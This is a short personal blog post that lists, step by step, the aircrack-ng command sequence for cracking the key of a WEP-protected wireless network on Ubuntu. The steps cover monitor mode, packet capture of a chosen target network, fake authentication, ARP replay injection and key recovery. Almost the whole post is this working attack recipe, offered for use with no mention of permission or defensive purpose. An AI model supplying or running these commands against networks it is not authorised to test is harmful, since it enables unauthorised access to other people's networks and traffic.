Cracking Into a WEP Wireless Network

The following is the list of commands to crack into a WEP network on Ubuntu. It works for me so I’m recording it here; your experience may vary.

All of the below commands should be run with sudo or in a root shell in Ubuntu Linux

service network-manager stop
killall wpa_supplicant

airmon-ng start wlan0
airodump-ng mon0

(find the target wireless network, ctrl-c)

airodump-ng -c [channel] -w [filename] --bssid [mac] mon0

open a new terminal

aireplay-ng -1 0 -a [mac] -e [network name] mon0

Should get the “Association successful :)” message

aireplay-ng -3 -b [mac] mon0

Now lots of data should be generated and captured in the first terminal. Open a third terminal:

aircrack-ng -b [mac] [filename]-01.cap

Key should be found.

This entry was posted in Uncategorized. Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s